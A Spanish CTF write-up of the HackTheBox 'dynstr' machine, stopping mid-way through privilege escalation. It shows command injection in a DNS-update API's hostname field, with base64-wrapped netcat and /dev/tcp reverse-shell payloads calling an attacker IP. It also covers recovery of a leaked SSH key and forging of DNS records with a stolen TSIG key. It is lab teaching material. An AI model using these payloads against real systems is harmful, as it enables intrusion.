HackTheBox - dynstr

Lanz
Funk Lanz el
HackTheBox - dynstr

Máquina Linux nivel medio. Mucho dinamismo con DNS (APIs, RCE, zonas y actualizaciones), llaves SSH volando sin rumbo, SUID y scripts dinámicamente traviesos para copiar archivos como nosotros queramos.

352dynstrHTB

TL;DR (Spanish writeup)

Creada por: jkr.

DINAMISMO puro y duro.

Me costo bastante, jugaremos mucho con DNS.

Nos encontraremos con una página web que nos describe su servicio de DNS dinámico, nos muestra los dominios que ofrecen y también nos prestan unas credenciales, estas nos servirán para interactuar con un API (desde la consola y la web) encargada de actualizar las direcciones IP de cada dominio del DNS, jugando con la API** veremos que un campo es vulnerable a inyección de comandos, jugaremos con un script para automatizarnos la inyección y conseguir una Shell en el mismo programa como el usuario www-data.

dynamicDNSapi_RCE.py

dynamicDNSapi_RCE.rb

Estando dentro encontraremos un dump de un proceso el cual leyó las llaves SSH de un usuario llamado bindmgr, tendremos acceso a las llaves, pero no será tan sencillo usarlas. Tendremos que actualizar la zona DNS en la que estamos (por una definición en el objeto authorized_keys) para que el sistema nos permita ingresar usando SSH. Debemos agregar un dominio e indicarle que ese dominio esta asociado a nuestra IP de atacantes, haciendo esto lograremos una sesión en la máquina como el usuario bindmgr.

Enumerando nuestros permisos contra otros usuarios veremos que hay un script que podemos ejecutar como cualquier usuario, lo usaremos para ejecutarlo como root.

En él se hace una configuración y entre esa conf se genera una copia de unos archivos dependiendo la ruta donde estemos. Lo curioso es que podemos aprovecharnos de la instrucción cp para que tome “archivos” como “parámetros”, entonces si queremos decirle que nos haga una copia recursiva, simplemente nos creamos un archivo que se llame -r y cuando ejecutemos el script interpretara ese “-r” no como un archivo sino como un parámetro del propio cp. Usaremos esta técnica para mantener los archivos que copiemos con los permisos que tenga actualmente, jugando con /bin/bash, SUID y el script lograremos una bash como el usuario root.

Clasificación de la máquina según la gentesita

Muuuucho juego con nuestras manitos e intenta ser real.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Baby I don’t understand it…

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Encontramos cositas para movernos del usuario www-data al usuario bindmgr.
  5. Encontramos script que podemos ejecutar como root, el cual efectúa configuraciones locas.

Reconocimiento #

Enumeración de puertos con nmap 📌

Empezaremos como siempre encontrando que puertos tiene la máquina activos, para ello jugaremos con nmap:

❱ nmap -p- --open -v 10.10.10.244 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Y nos responde:

# Nmap 7.80 scan initiated Wed Jul 14 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.244
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.244 () Status: Up
Host: 10.10.10.244 () Ports: 22/open/tcp//ssh///, 53/open/tcp//domain///, 80/open/tcp//http///
# Nmap done at Wed Jul 14 25:25:25 2021 -- 1 IP address (1 host up) scanned in 161.32 seconds
Puerto Descripción
22 SSH: Para obtener acceso a una Shell de manera segura.
53 DNS: Sistema que traduce un dominio a una IP (y viceversa, así es más fácil de recordar un sitio por un dominio que por una IP).
80 HTTP: Servidor web.

Listones, pues profundicemos un poco más, tomemos estos puertos y hagamos otro escaneo, en este caso para ver que versión y scripts tiene relacionado cada puerto:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.244
    [*] Open ports: 22,53,80

[*] Ports copied to clipboard

)~

❱ nmap -p 22,53,80 -sC -sV 10.10.10.244 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Obtenemos:

# Nmap 7.80 scan initiated Wed Jul 14 25:25:25 2021 as: nmap -p 22,53,80 -sC -sV -oN portScan 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 14 25:25:25 2021 -- 1 IP address (1 host up) scanned in 27.61 seconds

¿¿Qué podemos destacar?

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
53 DNS ISC BIND 9.16.1
80 HTTP Apache httpd 2.4.41

Pero no tenemos nada relevante…

Caigamos profundo e investiguemos por donde seguir.

Enumeración #

Vemos el puerto 80 📌

352page80_1

Tenemos un servicio que ofrece DNS dinámico…

Nos muestra que tipo de DNS ofrecen:

  • dnsalias.htb
  • dynamicdns.htb
  • no-ip.htb

Pueden ser ejemplos, pero también puede ser una “pista” de que alguno de ellos existe, ahorita los probamos agregándolos al archivo /etc/hosts.

También nos provee de unas credenciales para hacer uso del servicio, ya que esta en fase de pruebas:

  • dynadns:sndanyd.

Podemos guardarlas.

352page80_2

Encontramos otro dominio, este parece ser por el que la máquina responde. Pues juntemos todos y agreguémonos al archivo /etc/hosts, para saber si alguno nos resuelve con otro tipo de info:

❱ cat /etc/hosts
...
10.10.10.244  dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb
...

Pero en todas obtenemos el mismo contenido, dejémoslas por si algo, pero sigamos trabajando con dyna.htb (dynamicdns.htb también suena interesante).

Recorremos el puerto 53 📌

El servidor DNS (Sistema de nombres de dominio) nos evita tener que estar memorizando IPs (en palabras lindas). Su función es traducir un dominio en una IP y viceversa, el claro ejemplo sería la dirección IP 10.10.10.244, donde si no queremos recordarla o se nos olvida, simplemente hacemos uso del dominio relacionado, o sea dyna.htb (hasta el momento :P).

Pero bueno, volviendo a la enumeración del puerto 53, podemos usar la herramienta dig, que nos ayuda a profundizar en que hay por detrás de un dominio:

🌐 The command dig is a tool for querying DNS nameservers for information about host addresses, mail exchanges, nameservers, and related information. Understanding the dig command

Para listar cualquier info que encuentre usamos ANY:

❱ dig ANY @10.10.10.244

Pero no obtenemos nada relevante, podemos volver a ejecutarlo pero esta vez pasándole un dominio, como dyna.htb:

❱ dig ANY @10.10.10.244 dyna.htb
...
;; ANSWER SECTION:
dyna.htb.               60      IN      SOA     dns1.dyna.htb. hostmaster.dyna.htb. 2021030302 21600 3600 604800 60
dyna.htb.               60      IN      NS      dns1.dyna.htb.

;; ADDITIONAL SECTION:
dns1.dyna.htb.          60      IN      A       127.0.0.1
...

Esta vez si recibimos respuesta, vemos los servidores DNS que se encargan de resolver las consultas, los dos son nuevos:

  • dns1.dyna.htb
  • hostmaster.dyna.htb

Agregándolos al /etc/hosts no logramos nada distinto a lo de antes…

Jugando con el DNS dinámico mediante una API 📌

Volviendo a la web y leyendo de nuevo, enfocamos esto:

We are providing dynamic DNS for anyone with the same API as no-ip.com has.

Dynamic DNS en simples palabras ayuda a reenviar las direcciones IP que cambian constantemente a un nombre de dominio fijo, así no tenemos que estar validando o cambiando registros que antes tenían una IP y ahora otra, da igual, solo debemos recordar el dominio.

También habla de la API de no-ip.com, pues buscando info en su documentación, vemos como se comunica con el Dynamic DNS para obtener la IP actual o actualizarla:

http://username:password@dynupdate.no-ip.com/nic/update?hostname=mytest.example.com&myip=192.0.2.25

Podemos probar a autenticarnos nosotros con lo que tenemos, veamos si conseguimos algo:

❱ curl "http://dynadns:sndanyd@dynupdate.no-ip.com/nic/update?hostname=dyna.htb&myip=10.10.14.146"
nochg 186.113.79.101

Obtenemos nochg como respuesta (a veces es badauth y otras la que obtuvimos), lo que quiere decir que no se realizó ningún cambio en la IP y es la que actualmente esta seteada.

Jugando con esto (con dig, con nslookup, con ping, etc.) no logramos comunicarnos con esa IP, pues sigamos enumerando.

Más info de DNS Dynamic:

Volviendo a dyna.htb, se me dio por ver si también tendría esos directorios (como dice que provee una API como la de no-ip), y sí, existen:

❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt http://dyna.htb/FUZZ
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                        
=====================================================================

000000084:   301        9 L      28 W       305 Ch      "assets"                                                                                                                       
000004227:   403        9 L      28 W       273 Ch      "server-status"                                                                                                                
000004255:   200        281 L    846 W      10909 Ch    "http://dyna.htb/"                                                                                                             
000018467:   301        9 L      28 W       302 Ch      "nic"
...

Vemos el directorio /nic, busquemos /update:

❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt http://dyna.htb/nic/FUZZ
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                        
=====================================================================

000000481:   200        1 L      1 W        8 Ch        "update"
...

Sip, pues intentemos autenticarnos pero contra nuestra API:

❱ curl "http://dynadns:sndanyd@dyna.htb/nic/update?myip=10.10.14.146&hostname=dyna.htb"
911 [wrngdom: htb]

Jmmm, un fatal error (911) y nos indica que el dominio esta mal :( probando con los dominios que obtuvimos antes tampoco conseguimos nada, solo fue hasta que vi el error con detenimiento que probé algo distinto:

El error dice que el dominio htb esta mal y si, eso no es un dominio, pues probando algo como esto:

❱ curl "http://dynadns:sndanyd@dyna.htb/nic/update?myip=10.10.14.146&hostname=hola.dyna.htb"

Obtenemos:

911 [wrngdom: dyna.htb]

Ahora si toma el dominio dyna.htb, pero pues aún falla, lo bueno es que tenemos otros dominios para probar, como por ejemplo:

❱ curl "http://dynadns:sndanyd@dyna.htb/nic/update?myip=10.10.14.146&hostname=hola.no-ip.htb"
good 10.10.14.146
❱ curl "http://dynadns:sndanyd@dyna.htb/nic/update?myip=10.10.14.146&hostname=hola.dnsalias.htb"
good 10.10.14.146
❱ curl "http://dynadns:sndanyd@dyna.htb/nic/update?myip=10.10.14.146&hostname=hola.dynamicdns.htb"
good 10.10.14.146

😳 Nos responde que ta todo bien con esos tres dominios (que fueron los que publicitaron en la página web), los demás nos dan error.

Pero además de eso nos muestra la IP que pusimos en myip, para comprobar que es interactivo podemos cambiarla:

❱ curl "http://dynadns:sndanyd@dyna.htb/nic/update?hostname=hola.no-ip.htb&myip=1.2.3.4"
good 1.2.3.4

Opa, si cambia, esto esta interesante, porque nos estamos comunicando con el servidor DNS y estamos cambiando la IP en la que queremos que sirva, o sea, tendríamos dos posibilidades, una super extraña que seria crearnos un servidor DNS “malicioso” y ahí indicarle que se comunique con el o la otra es que podemos jugar con ese campo m, ya que es interactivo, poooor lo que podríamos probar alguuuna manera de “inyectar” comandos o algo por el estilo… ¿No?

A probar cositas.

Explotación #

Nos creamos un script que tome un archivo llamado payloads.txt que será el que contenga tooodas las líneas que queramos probar contra el campo myip:

#!/usr/bin/python3

import requests

# -- Clases
class Color:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    RED = '\033[91m'
    END = '\033[0m'

# -- Variables
URL = "http://dyna.htb"
payloads_file = open('./payloads.txt', 'r')

# -- Matrashaaaa
for pos, payload in enumerate(payloads_file):
    payload = payload.strip('\n')
    print(Color.GREEN + "http://dyna.htb/nic/update?hostname=hola.no-ip.htb&myip=%s" % (payload) + Color.END)

    data_get = {
        "hostname" : "hola.no-ip.htb",
        "myip" : payload
    }
    r = requests.get(URL + '/nic/update', params=data_get, auth=('dynadns','sndanyd'))
    print(r.text)

Las líneas del archivo las podemos hacer a mano, pero para algo esta internet, buscando y usando listas de payloads basados tanto en SQLi, SSTI, XXE, Command Injection, etc. Finalmente llegamos a este repo:

Tomamos toda la parte de Unix y la pegamos en el archivo payloads.txt, lo siguiente simplemente es ejecutar y ver si cambia algo en nuestro output:

❱ python3 fuzz_myip.py 

352bash_scripting_fuzzingMYIP_fail

Pero en todas las peticiones obtenemos el mismo output, la IP no cambia si no es con el respectivo formato (N.N.N.N), pensando en que hacer se me dio por probar lo mismo, pero contra el campo hostname, vaya sorpresa e.e

...
# -- Matrashaaaa
for pos, payload in enumerate(payloads_file):
    payload = payload.strip('\n')
    print(Color.GREEN + "http://dyna.htb/nic/update?hostname=%s.no-ip.htb&myip=10.10.14.146" % (payload) + Color.END)

    data_get = {
        "hostname" : payload + "." + "no-ip.htb",
        "myip" : "10.10.14.146"
    }
    r = requests.get(URL + '/nic/update', params=data_get, auth=('dynadns','sndanyd'))
    print(r.text)

Recordemos que pusimos hola.no-ip.htb y nos funcionó, ya que todo lo que estuviera después del hola, acá hacemos lo mismo, para que nos permita jugar con el dominio no, pero además ver si en vez de hola` se nos puede colar una inyección de comandos, ejecutamos el script:

👀

❱ python3 fuzz_myip.py 

En los últimos payloads vemos un output distinto al de la mayoría:

352bash_scripting_fuzzingHOSTNAME_weirdOutput

Vemos 4 payloads que causaron algún tipo de ¿conflicto? O bueno, causaron algo :P Las 3 primeras son interesantes porque parece que se ejecutan, pero la última nos da un good, es un buen punto de partida para centrarnos en probar cositas con ellas (:

Obtenemos RCE tryhardeando con el hostname 📌

Después de jugar con algunas cadenas (con las que habíamos obtenido respuesta antes no nos fue posible lograr algo, así que fue intentar e intentar), finalmente obtenemos nuestra ejecución remota de comandos:

Si intentamos enviar como payload esta cadena:

payload = 'id | nc 10.10.14.146'

Donde el valor de la variable hostname quedaría así:

hostname=id | nc 10.10.14.146.no-ip.htb&myip=...

En la respuesta vemos:

❱ python3 fuzz_myip.py 
[+] http://dyna.htb/nic/update?hostname=id | nc 10.10.14.146.no-ip.htb&myip=10.10.14.146
911 [wrngdom: 10.14.146.no-ip.htb]

Lo cual nos dice que hay un problema con los espacios de id | nc 10... Esto me llevo a intentar encerrar tooodo el comando a ver si el sistema lograba interpretarlo, pero nada:

❱ python3 fuzz_myip.py 
[+] http://dyna.htb/nic/update?hostname=$(id | nc 10.10.14.146).no-ip.htb&myip=10.10.14.146
911 [wrngdom: 10.14.146).no-ip.htb]

Aún sigue tomando los espacios, así que podemos intentar encodear la cadena a base64 y que el mismo sistema la decodee:

❱ echo "id | nc 10.10.14.146 4433" | base64
aWQgfCBuYyAxMC4xMC4xNC4xNDYgNDQzMwo=

Donde para hacer que el sistema tome ese contenido y lo interprete deberíamos hacer:

❱ echo "aWQgfCBuYyAxMC4xMC4xNC4xNDYgNDQzMwo=" | base64 -d
id | nc 10.10.14.146 4433
# Tomamos esa cadena decodeada y la interpretamos
❱ echo "aWQgfCBuYyAxMC4xMC4xNC4xNDYgNDQzMwo=" | base64 -d | bash
(UNKNOWN) [10.10.14.146] 4433 (?) : Connection refused

Es hacer eso mismo pero en el payload:

payload = '$(echo "aWQgfCBuYyAxMC4xMC4xNC4xNDYgNDQzMwo=" | base64 -d | bash)'

Nos ponemos en escucha:

❱ nc -lvp 4433

Y ejecutamos:

❱ python3 fuzz_myip.py 
[+] http://dyna.htb/nic/update?hostname=$(echo "aWQgfCBuYyAxMC4xMC4xNC4xNDYgNDQzMwo=" | base64 -d | bash).no-ip.htb&myip=10.10.14.146
# Se queda acá esperando...

Y si revisamos nuestro listener:

352bash_scripting_fuzzingHOSTNAME_idRCE

Peeeeerfecto, conseguimos ejecutar comandos en la máquina como el usuario www-data (: ahora veamos como entablar una reverse Shell.

❱ echo "bash -i >& /dev/tcp/10.10.14.146/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQzMyAwPiYxCg==

La copiamos en el payload, nos ponemos en escucha, ejecutamos yyyyyy:

Obtenemos nuestra Shell como el usuario www-data, hagámosla linda (tratamiento de la TTY) y sigamos…

Les dejo el script, con él podremos conseguir una Shell en el mismo programa (:

dynamicDNSapi_RCE.py

O algo nuevo que no había probado, un script en ruby que envíe simplemente la petición en busca de la reverse Shell, únicamente tenemos que ponernos en escucha.

dynamicDNSapi_RCE.rb

Mov Lateral : www-data -> bindmgr #

Acá el código que actualiza el servidor DNS por si le quieren echar un ojo:

<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']))      { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP))                       { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>

Enumerando el sistema nos encontramos al usuario bindmgr, en su directorio /home hay una carpeta interesante:

www-data@dynstr:/home/bindmgr$ ls
support-case-C62796521  user.txt

Podemos acceder y leer sus archivos:

www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr   4096 Mar 13 14:53 .
drwxr-xr-x 6 bindmgr bindmgr   4096 Jul 16 17:20 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt

Rebuscando entre ellos, vemos que strace-C62796521.txt tiene un reporte de alguna ejecución llevada a cabo en el sistema, encontramos varias cosas interesantes:

352bash_wwwdataSH_report_curl

15123 execve("/usr/bin/curl", ["curl", "-v", "-sk", "sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip", "--pubkey", "/home/bindmgr/.ssh/id_rsa.pub"], 0x7ffdfdef1ba8 /* 14 vars */) = 0
www-data@dynstr:/$ curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey /home/bindmgr/.ssh/id_rsa.pub

En la primera línea se intenta una conexión sftp (transferencia segura de archivos) hacia el dominio sftp.infra.dyna.htb por medio de cURL usando la llave pública del usuario bindmgr.

Pero si intentamos replicarla obtenemos que no puede resolver hacia ese dominio, ya que no sabe que significa :(

También encontramos

352bash_wwwdataSH_report_id_rsaPUB

La llave pública de bindmgr, peeeeero también encontramos:

352bash_wwwdataSH_report_id_rsa

Su llave privada :o pues copiémosla, creamos un archivo que la contenga, le damos el formato necesario (haciendo que los saltos de línea sean saltos de línea y no texto):

❱ sed -i 's/\\n/\n/g' bindmgr_private_key 

Pero probando contra SSH con su llave privada no logramos acceder :(

Enumerando un poco la carpeta donde están las llaves vemos algo llamativo en el archivo authorized_keys:

www-data@dynstr:/home/bindmgr/.ssh$ cat authorized_keys 
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1................ bindmgr@nomen

Únicamente permite el acceso a hostnames con nombre <cualquiercosa>.infra.dyna.htb

Después de probar vaaaaarias cositas, caí en cuenta de algo, tenemos un usuario llamado bindmgr, o sea el manager de bind, pero, ¿qué es bind? Bueno, pues es el servidor DNS más usado en sistemas UNIX.

Por lo que estamos jugando con el administrador (?) del servidor DNS, pues intentemos ver los archivos de configuración del DNS a ver si podemos relacionar algo o pensar algo más…

www-data@dynstr:/etc/bind$ ls -la
total 68
drwxr-sr-x  3 root bind 4096 Mar 20 12:00 .
drwxr-xr-x 80 root root 4096 Jun  8 19:20 ..
-rw-r--r--  1 root root 1991 Feb 18 04:28 bind.keys
-rw-r--r--  1 root root  237 Dec 17  2019 db.0
-rw-r--r--  1 root root  271 Dec 17  2019 db.127
-rw-r--r--  1 root root  237 Dec 17  2019 db.255
-rw-r--r--  1 root root  353 Dec 17  2019 db.empty
-rw-r--r--  1 root root  270 Dec 17  2019 db.local
-rw-r--r--  1 root bind  100 Mar 15 20:44 ddns.key
-rw-r--r--  1 root bind  101 Mar 15 20:44 infra.key
drwxr-sr-x  2 root bind 4096 Mar 15 20:42 named.bindmgr
-rw-r--r--  1 root bind  463 Dec 17  2019 named.conf
-rw-r--r--  1 root bind  498 Dec 17  2019 named.conf.default-zones
-rw-r--r--  1 root bind  969 Mar 15 20:46 named.conf.local
-rw-r--r--  1 root bind  895 Mar 15 20:46 named.conf.options
-rw-r-----  1 bind bind  100 Mar 15 20:14 rndc.key
-rw-r--r--  1 root root 1317 Dec 17  2019 zones.rfc1918

Perfecto, tenemos acceso de lectura a todos, si vemos entre ellos llegamos al archivo /etc/bind/named.conf.local el cual contiene la definición de las zonas del servidor DNS.

Una zona DNS es una parte del servidor gestionada ya sea por una organización concreta o una persona específica.

www-data@dynstr:/etc/bind$ cat named.conf.local 
...
// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
...

Vemos los dominios que publicitan en el home de la web (que eran los que nos devolvían respuesta good) y también otros que hablan de “actualizaciones en la infraestructura”, además que cada apartado usa una llave:

  • /etc/bind/infra.key: (infra, lo que tiene el dominio sftp.infra.dyna.htb, interesante)
  • /etc/bind/ddns.key.

Mostraré solo uno, lo único que varía entre los dos es la llave que usan:

www-data@dynstr:/etc/bind$ cat infra.key 
key "infra-key" {
        algorithm hmac-sha256;
        secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};

Buscando en internet si lo que encontramos nos sirve de algo, vemos esto:

🌐 Los servidores de nombres no dan información sobre cualquier servidor de Internet, sino solo sobre los que se encuentran dentro de la zona que les corresponde. Registro SOA

Pueda que por eso aunque juguemos con el dominio sftp.infra.dyna.htb no nos lo permita, ya que ese dominio no esta dentro de la zona, uff, súper locochón, me gusta.

Jugando con nsupdate para agregar dominio en la zona DNS 📌

Buscando maneras de agregar o actualizar cositas en la zona caemos a este recurso de redhat:

En él hablan de la herramienta nsupdate la cual nos permite actualizar por medio de peticiones los registros del DNS, es mucho más fácil que tener que estar modificando los archivos relacionados con las “zonas”.

Jugando con varios recursos:

Logramos tanto agregar como ver lo que agregamos a la zona:

www-data@dynstr:/etc/bind$ nsupdate -k infra.key
> update add holanda.infra.dyna.htb 86400 A 10.10.14.146
> send

Donde le indicamos:

  1. Que agregue el dominio holanda.infra.dyna.htb.
  2. Con un tiempo de vida (TTL) de 86400 segundos (1 día).
  3. Le pasamos por medio del record A nuestra IP.
  4. Finalmente hacemos la petición con un send.

Si validamos ahora con ayuda de dig vemos el registro:

www-data@dynstr:/etc/bind$ dig holanda.infra.dyna.htb
; <<>> DiG 9.16.1-Ubuntu <<>> holanda.infra.dyna.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20369
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d3e22621085667800100000060f32fb4b5ea0a950387b367 (good)
;; QUESTION SECTION:
;holanda.infra.dyna.htb.                IN      A

;; ANSWER SECTION:
holanda.infra.dyna.htb. 86400   IN      A       10.10.14.146

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Jul 17 21:29:56 CEST 2021
;; MSG SIZE  rcvd: 95

Nos responde con la dirección IP respectiva de ese dominio, lo que significa que si intentamos ahora nuestra conexión por medio de SSH debería funcionar, ya que estamos entrando con un dominio *.infra.dyna.htb

Pero aún no nos deja :(

Logramos acceso por SSH como el usuario bindmgr 📌

Volviendo a leer si era que habíamos hecho mal o probando otras formas, llegamos a este recurso:

En él vemos un ejemplo prácticamente igual al de antes, pero también dos nuevas líneas que me dieron curiosidad:

352google_usingNSupdate_PTR

Además de agregar el registro A, agrega dos más: registro CNAME y PTR.

🌐 Los registros CNAME se suelen utilizar para asignar un subdominio, como www o mail, al dominio que aloja el contenido de dicho subdominio. Por ejemplo: un registro CNAME puede asignar la dirección web www.example.com al sitio web del dominio example.com. Acerca de los registros CNAME

🌐 Los PTR records son, en cierto modo, lo opuesto a los registros A: no asignan un nombre de dominio a una dirección IP, sino viceversa. Por eso, se dice que los registros PTR hacen posible la búsqueda inversa o reverse DNS. Registro PTR

Interesantes los dos, por un lado podemos agregarle un subdominio a holanda... y por el otro le decimos que a nuestra IP la identifique como holanda.... Este último resuena con bastante lógica, quizás el servidor DNS o SSH se conecta a nuestra IP, pero cuando intenta identificarnos por el dominio (*.infra.dyna.htb) no lo encuentra y pues claramente no nos deja entrar.

Algo así debería pasar:

Tomada de: cloudsigma.com

😯

Pues intentemos ahora pero agregando el registro PTR:

www-data@dynstr:/etc/bind$ nsupdate -k infra.key
> update add holanda.infra.dyna.htb 86400 A 10.10.14.146
> send
> update add 146.14.10.10.in-addr.arpa 86400 PTR holanda.infra.dyna.htb
> send

Lo que hace es tomar la IP asociada a ese dominio y darle la vuelta concatenándola con .in-addr.arpa, los demás parámetros ya nos los sabemos (:

Para las búsquedas DNS inversas relacionadas con direcciones IPv4: in-addr.arpa y para direcciones IPv6: ip6.arpa, según ionos.

Si ahora intentamos conectarnos de nuevo por SSH:

❱ ssh bindmgr@10.10.10.244 -i bindmgr_private_key 

352bash_bindmgrSH

SI SEÑOOOOOOOOOOOOOOOOOOOOOR, estamos dentrooooooooooo 🤯 una locura completa, se me hizo bastante difícil al ser mi primer acercamiento taaaan a fondo con DNS (y eso que aún no hemos terminado, quien sabe que nos espera :P)

Escalada de privilegios #

Viendo los permisos que tenemos sobre otros usuarios encontramos que podemos ejecutar un script como cualquier usuario:

bindmgr@dynstr:~$ sudo -l
...
User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

Veámoslo:

#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr. 
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
	systemctl status bind9
    else
	echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

Vemos que primero válida que exista un archivo llamado .version en la ruta en la que estemos, después si su contenido (la versión) es mayor a una anterior del archivo .version en la ruta /etc/bind/named.bindmgr (para que tome sentido el “update” que hace en la conf).

Después copia todos los archivos de la ruta donde estemos (lo raro es que copie el .version por separado, ya que si no lo pusiera de igual forma lo copiaría, ¿no?) hacia la ruta /etc/bind/named.bindmgr.

Y lo siguiente que hace es agregar la nueva configuración hacia bind.

